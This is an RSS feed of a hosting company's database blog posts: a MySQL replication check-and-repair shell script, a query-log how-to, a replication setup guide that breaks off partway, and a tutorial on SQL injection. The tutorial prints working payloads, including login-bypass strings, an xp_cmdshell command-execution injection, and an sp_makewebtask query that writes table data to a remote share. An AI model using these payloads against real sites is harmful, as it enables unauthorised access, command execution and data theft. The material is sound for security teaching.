<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>*.hosting &#187; Database</title>
	<atom:link href="http://www.stardothosting.com/blog/category/database/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stardothosting.com/blog</link>
	<description>Star Dot Hosting : Technology, Security, Virtualization and Cloud Computing</description>
	<lastBuildDate>Wed, 16 May 2012 19:07:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Checking and repairing mysql replication automatically</title>
		<link>http://www.stardothosting.com/blog/2012/02/02/checking-and-repairing-mysql-replication-automatically/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=checking-and-repairing-mysql-replication-automatically</link>
		<comments>http://www.stardothosting.com/blog/2012/02/02/checking-and-repairing-mysql-replication-automatically/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 17:15:02 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysql replication]]></category>
		<category><![CDATA[systems administration]]></category>

		<guid isPermaLink="false">http://www.stardothosting.com/blog/?p=486</guid>
		<description><![CDATA[Hello! MySQL replication has been known to easily break, as a result of a large multitude of potential causes. Sometimes the replication can even break if an erroneous query is executed on the master server. With all the potential issues that may break replication, we thought it prudent to write an automated check script that [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Hello!</p>
<p>MySQL replication has been known to easily break, as a result of a large multitude of potential causes.</p>
<p>Sometimes the replication can even break if an erroneous query is executed on the master server.</p>
<p>With all the potential issues that may break replication, we thought it prudent to write an automated check script that can run on a scheduled basis (i.e. every 10-15 minutes), check the Slave status, report on any errors if applicable and attempt to repair replication.</p>
<p>We have built this script to exit and send mail alerts if any step of the checking and repairing process fails or generates an error in itself.</p>
<p>The script also generates a lock file to ensure that no more than one check process can run at any given time. We feel this script could be best used for scenarios for remote MySQL slaves, for example. Adding this extra layer may ensure a more reliable replication. </p>
<p>The repair process is simply 3 MySQL Commands :</p>
<pre>
stop slave;
reset slave;
slave start;
</pre>
<p>The above directives assume that you have a master.info with the mysql master server information statically set. No CHANGE MASTER commands have to be executed as a result. Resetting the slave clears the error and resumes replication, and all the queries missed during the time it failed should be queued and applied after it starts again.</p>
<p>Here is the script : </p>
<pre>
#!/bin/sh
# Slave replication auto recovery and alert
# Star Dot Hosting 2012

currentmonth=`date "+%Y-%m-%d"`
lock_file=/tmp/slave_alert.lck

echo "MySQL Replication Check Script" > /var/log/replication_check.log 2>&#038;1
echo "------------------------------" >> /var/log/replication_check.log 2>&#038;1
echo "$currentmonth" >> /var/log/replication_check.log 2>&#038;1
echo "" >> /var/log/replication_check.log 2>&#038;1

# Check if lock file exists
if [ -f $lock_file ];
then
        echo "Lock file exists! Possible conflict!" >> /var/log/replication_check.log 2>&#038;1
        mail_alert
        exit 1
else
        touch $lock_file
fi

# Fix slave
function fix_replication () {
        mysql -u root --password="XXXXX" -Bse "stop slave" >> /var/log/replication_check.log 2>&#038;1
        if [ "$?" -eq 0 ];
        then
                echo "Stop slave succeeded..." >> /var/log/replication_check.log 2>&#038;1
        else
                echo "Slave recover function failed" >> /var/log/replication_check.log 2>&#038;1
                mail_alert
                exit 1
        fi
        mysql -u root --password="XXXXX" -Bse "reset slave" >> /var/log/replication_check.log 2>&#038;1
        if [ "$?" -eq 0 ];
        then
                echo "Reset slave succeeded..." >> /var/log/replication_check.log 2>&#038;1
        else
                echo "Slave recover function failed" >> /var/log/replication_check.log 2>&#038;1
                mail_alert

                exit 1
        fi
        mysql -u root --password="XXXXX" -Bse "slave start" >> /var/log/replication_check.log 2>&#038;1
        if [ "$?" -eq 0 ];
        then
                echo "Slave start succeeded." >> /var/log/replication_check.log 2>&#038;1
        else
                echo "Slave recover function failed" >> /var/log/replication_check.log 2>&#038;1
                mail_alert
                exit 1
        fi
}

# Alert function
function mail_alert () {
        cat /var/log/replication_check.log | mail -s "Replication check errors!" kkutzko@n49.com
}

# Check if Slave is running properly
Slave_IO_Running=`mysql -u root --password="XXXXX" -Bse "show slave status\G" | grep Slave_IO_Running | awk '{ print $2 }'`
Slave_SQL_Running=`mysql -u root --password="XXXXX" -Bse "show slave status\G" | grep Slave_SQL_Running | awk '{ print $2 }'`
Last_error=`mysql -u root --password="XXXXX" -Bse "show slave status\G" | grep Last_error | awk -F \: '{ print $2 }'`

# If no values are returned, slave is not running
if [ -z $Slave_IO_Running -o -z $Slave_SQL_Running ];
then
        echo "Replication is not configured or you do not have the required access to MySQL"
        exit 1
fi

# If everythings running, remove lockfile if it exists and exit
if [ $Slave_IO_Running == 'Yes' ] &#038;&#038; [ $Slave_SQL_Running == 'Yes' ];
then
        rm $lock_file
        echo "Replication slave is running" >> /var/log/replication_check.log 2>&#038;1
        echo "Removed Alert Lock" >> /var/log/replication_check.log 2>&#038;1
elif [ $Slave_SQL_Running == 'No' ] || [ $Slave_IO_Running == 'No' ];
then
        echo "SQL thread not running on server `hostname -s`!" >> /var/log/replication_check.log 2>&#038;1
        echo "Last Error:" $Last_error >> /var/log/replication_check.log 2>&#038;1
        fix_replication
        mail_alert
        rm $lock_file
fi

echo "Script complete!" >> /var/log/replication_check.log 2>&#038;1
exit 0
</pre>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;linkname=Checking%20and%20repairing%20mysql%20replication%20automatically" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;linkname=Checking%20and%20repairing%20mysql%20replication%20automatically" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;linkname=Checking%20and%20repairing%20mysql%20replication%20automatically" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;linkname=Checking%20and%20repairing%20mysql%20replication%20automatically" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_google_plusone addtoany_special_service" data-annotation="none" data-href="http://www.stardothosting.com/blog/2012/02/02/checking-and-repairing-mysql-replication-automatically/"></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2012%2F02%2F02%2Fchecking-and-repairing-mysql-replication-automatically%2F&amp;title=Checking%20and%20repairing%20mysql%20replication%20automatically" id="wpa2a_2"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2012/02/02/checking-and-repairing-mysql-replication-automatically/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Security Penetration Testing Series : SQL Injection</title>
		<link>http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=security-penetration-testing-series-sql-injection</link>
		<comments>http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/#comments</comments>
		<pubDate>Mon, 15 Nov 2010 18:10:29 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=414</guid>
		<description><![CDATA[I am starting a series of blog posts that detail security related strategies, penetration testing and best practice methodologies. To start our series, I am going to delve into the world of SQL injection techniques and a general overview for those who are looking to learn a little more about this method of injection. There [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>I am starting a series of blog posts that detail security related strategies, penetration testing and best practice methodologies. To start our series, I am going to delve into the world of SQL injection techniques and a general overview for those who are looking to learn a little more about this method of injection.</p>
<p>There is already quite a bit of documentation out there regarding this, so I hope this post isn&#8217;t too redundant. There are a lot of tools out there to assist in accomplishing this task, or at the very least tools that assist in automating the probing and injection of SQL from publicly facing websites, forms and the like.</p>
<p>That tool is SQLMAP (<a href="http://sqlmap.sourceforge.net/" target="_new">http://sqlmap.sourceforge.net/</a>). SQLMAP is an &#8220;open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of back-end database servers.&#8221;</p>
<p>This article does not introduce anything new, SQL injection has been widely written and used in the wild. I thought I&#8217;d write this article to document some of the SQL injection methods and hope that it may be of use to some of you out there in cyberspace.</p>
<p><b>What is SQL injection anyway?</b></p>
<p>It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else. </p>
<p><b>What do you need?</b></p>
<p>Technically all you need is a web browser. </p>
<p><b>What should I look for?</b></p>
<p>Web forms. Any input area of a website that interacts with their database backend. Could be a login form, search form or anything like that.</p>
<p>You could also look for pages that actually have querystrings in the URL such as :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?id=10</div></div>
<p><b>Testing if its vulnerable</b></p>
<p>With those query string URLs or web forms, you could do a simple test to see if its vulnerable to injection. Start with the &#8220;single quote trick&#8221; , something like this :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">hi' or 1=1--</div></div>
<p>For example :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?id=hi' or 1=1--</div></div>
<p>If you do that in a login form for example, if it works, then you will be logged in without any password necessary.</p>
<p><b>Why &#8216; or 1=1&#8211;?</b></p>
<p>Let us look at another example why &#8216; or 1=1&#8211; is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?category=food</div></div>
<p>In the URL, &#8216;category&#8217; is the variable name, and &#8216;food&#8217; is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">v_cat = request(&quot;category&quot;)<br />
sqlstr=&quot;SELECT * FROM product WHERE PCategory='&quot; &amp; v_cat &amp; &quot;'&quot;<br />
set rs=conn.execute(sqlstr)</div></div>
<p>As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT * FROM product WHERE PCategory='food'</div></div>
<p>The query should return a resultset containing one or more rows that match the WHERE condition, in this case, &#8216;food&#8217;.</p>
<p>Now, assume that we change the URL into something like this:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?category=food' or 1=1--</div></div>
<p>Now, our variable v_cat equals to &#8220;food&#8217; or 1=1&#8211; &#8220;, if we substitute this in the SQL query, we will have:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT * FROM product WHERE PCategory='food' or 1=1--'</div></div>
<p>The query now should now select everything from the product table regardless if PCategory is equal to &#8216;food&#8217; or not. A double dash &#8220;&#8211;&#8221; tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote (&#8216;). Sometimes, it may be possible to replace double dash with single hash &#8220;#&#8221;.</p>
<p>However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">' or 'a'='a</div></div>
<p>The SQL query will now become:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT * FROM product WHERE PCategory='food' or 'a'='a'</div></div>
<p>It should return the same result.</p>
<p>Depending on the actual SQL query, you may have to try some of these possibilities:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">' or 1=1--<br />
&quot; or 1=1--<br />
or 1=1--<br />
' or 'a'='a<br />
&quot; or &quot;a&quot;=&quot;a<br />
') or ('a'='a</div></div>
<p><b>Remote execution with SQL injection</b></p>
<p>Being able to inject SQL commands usually means we can execute any SQL query at will.Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">'; exec master..xp_cmdshell 'ping 10.10.1.2'--</div></div>
<p>Try using double quote (&#8220;) if single quote (&#8216;) is not working.</p>
<p>The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#tcpdump icmp</div></div>
<p>If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.</p>
<p><b>Getting the output of my SQL query</b></p>
<p>It is possible to use sp_makewebtask to write your query into an HTML:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">'; EXEC master..sp_makewebtask &quot;\\10.10.1.3\share\output.html&quot;, &quot;SELECT * FROM INFORMATION_SCHEMA.TABLES&quot;</div></div>
<p>But the target IP must folder &#8220;share&#8221; sharing for Everyone. </p>
<p>Hope this helps!</p>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_google_plusone addtoany_special_service" data-annotation="none" data-href="http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/"></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;title=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" id="wpa2a_4"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL Query Log &#8211; diagnosing and debugging mysql</title>
		<link>http://www.stardothosting.com/blog/2010/07/12/mysql-query-log-diagnosing-and-debugging-mysql/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mysql-query-log-diagnosing-and-debugging-mysql</link>
		<comments>http://www.stardothosting.com/blog/2010/07/12/mysql-query-log-diagnosing-and-debugging-mysql/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 18:13:53 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[mysql administration]]></category>
		<category><![CDATA[query log]]></category>
		<category><![CDATA[systems administration]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=373</guid>
		<description><![CDATA[The general query log is a general record of what mysqld is doing. The server writes information to this log when clients connect or disconnect, and it logs each SQL statement received from clients. The general query log can be very useful when you suspect an error in a client and want to know exactly [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F07%2F12%2Fmysql-query-log-diagnosing-and-debugging-mysql%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F07%2F12%2Fmysql-query-log-diagnosing-and-debugging-mysql%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>The general query log is a general record of what mysqld is doing. The server writes information to this log when clients connect or disconnect, and it logs each SQL statement received from clients. The general query log can be very useful when you suspect an error in a client and want to know exactly what the client sent to mysqld.</p>
<p>mysqld writes statements to the query log in the order that it receives them, which might differ from the order in which they are executed. This logging order contrasts to the binary log, for which statements are written after they are executed but before any locks are released. (Also, the query log contains all statements, whereas the binary log does not contain statements that only select data.)</p>
<p>To enable the general query log, start mysqld with the &#8211;log[=file_name] or -l [file_name] option.</p>
<p>If no file_name value is given for &#8211;log or -l, the default name is host_name.log in the data directory.</p>
<p>Server restarts and log flushing do not cause a new general query log file to be generated (although flushing closes and reopens it). On Unix, you can rename the file and create a new one by using the following commands:</p>
<pre>
shell> mv host_name.log host_name-old.log
shell> mysqladmin flush-logs
shell> cp host_name-old.log backup-directory
shell> rm host_name-old.log
</pre>
<p>Before 5.0.17, you cannot rename a log file on Windows while the server has it open. You must stop the server and rename the file, and then restart the server to create a new log file. As of 5.0.17, this applies only to the error log. However, a stop and restart can be avoided by using FLUSH LOGS, which causes the server to rename the error log with an -old suffix and open a new error log. </p>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F07%2F12%2Fmysql-query-log-diagnosing-and-debugging-mysql%2F&amp;linkname=MySQL%20Query%20Log%20%E2%80%93%20diagnosing%20and%20debugging%20mysql" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F07%2F12%2Fmysql-query-log-diagnosing-and-debugging-mysql%2F&amp;linkname=MySQL%20Query%20Log%20%E2%80%93%20diagnosing%20and%20debugging%20mysql" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F07%2F12%2Fmysql-query-log-diagnosing-and-debugging-mysql%2F&amp;linkname=MySQL%20Query%20Log%20%E2%80%93%20diagnosing%20and%20debugging%20mysql" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F07%2F12%2Fmysql-query-log-diagnosing-and-debugging-mysql%2F&amp;linkname=MySQL%20Query%20Log%20%E2%80%93%20diagnosing%20and%20debugging%20mysql" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_google_plusone addtoany_special_service" data-annotation="none" data-href="http://www.stardothosting.com/blog/2010/07/12/mysql-query-log-diagnosing-and-debugging-mysql/"></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F07%2F12%2Fmysql-query-log-diagnosing-and-debugging-mysql%2F&amp;title=MySQL%20Query%20Log%20%E2%80%93%20diagnosing%20and%20debugging%20mysql" id="wpa2a_6"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/07/12/mysql-query-log-diagnosing-and-debugging-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL Replication : Replicating an existing database</title>
		<link>http://www.stardothosting.com/blog/2009/09/11/mysql-replication-replicating-an-existing-database/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mysql-replication-replicating-an-existing-database</link>
		<comments>http://www.stardothosting.com/blog/2009/09/11/mysql-replication-replicating-an-existing-database/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 00:00:32 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[database administration]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[replication]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=189</guid>
		<description><![CDATA[I decided to make a revised post detailing the different steps required in order to implement a master / slave replication relationship within two or more MySQL servers.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F09%2F11%2Fmysql-replication-replicating-an-existing-database%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F09%2F11%2Fmysql-replication-replicating-an-existing-database%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>You may remember a <a href="http://blog.stardothosting.com/2009/05/04/mysql-replication-setting-up-a-simple-master-slave/">previous post</a> about MySQL replication.</p>
<p>I decided to make a revised post detailing the different steps required in order to implement a master / slave replication relationship within two or more MySQL servers.</p>
<p>The steps required are slightly different and I think its important to outline the necessary steps in order to accomplish this task &#8212; it may actually save you some troubleshooting! <img src='http://www.stardothosting.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><big><strong>
<ul>
Replication of Existing DBs</ul>
<p></strong></big></p>
<p>If you have existing data on your master that you want to synchronize on your slaves before starting the replication process, then you must stop processing statements on the master, obtain the current position, and then dump the data, before allowing the master to continue executing statements.</p>
<p>If you do not stop the execution of statements, the data dump and the master status information that you use will not match and you will end up with inconsistent or corrupted databases on the slaves.</p>
<ul>
<strong>PREPARATION OF MASTER SERVER</strong></ul>
<p>1. Select a master server. It can be either one.</p>
<p>2. Make sure all databases that you want to replicate to the slave already exist! The easist way is to just copy the database dirs inside your MySQL data directory intact over to your slave, and then recursively chown them to &#8220;mysql:mysql&#8221;. Remember, the binary structures are file-system dependant, so you can&#8217;t do this between MySQL servers on different OS&#8217;s. In this instance you will want to use mysqldump most likely.</p>
<p>3. Create /etc/my.cnf if you do not already have one:</p>
<pre>
[mysqld]
socket=/tmp/mysql.sock [enter YOUR path to mysql.sock here]
server-id=1
log-bin=mysql-bin
binlog-do-db=bossdb     # input the database which should be replicated
binlog-ignore-db=mysql1 # input the database that should be ignored for replication
binlog-ignore-db=mysql2  # input the database that should be ignored for replication
</pre>
<p>4. Permit your slave server to replicate by issuing the following SQL command (substituting your slave&#8217;s IP and preferred password):</p>
<pre>
mysql> GRANT SUPER,REPLICATION CLIENT,REPLICATION SLAVE,RELOAD ON *.* TO 'replicate'@'192.168.1.1' IDENTIFIED BY 'somepass';
</pre>
<p>5. Flush all talbes and block write statements :</p>
<pre>
mysql> FLUSH TABLES WITH READ LOCK;
</pre>
<p>6. Use the <strong>SHOW MASTER STATUS</strong> statement to determine the current binary log file name and offset on the master:</p>
<pre>
mysql > SHOW MASTER STATUS;
+---------------+----------+--------------+------------------+
| File          | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+---------------+----------+--------------+------------------+
| mysql-bin.003 | 73       | test         | manual,mysql     |
+---------------+----------+--------------+------------------+
</pre>
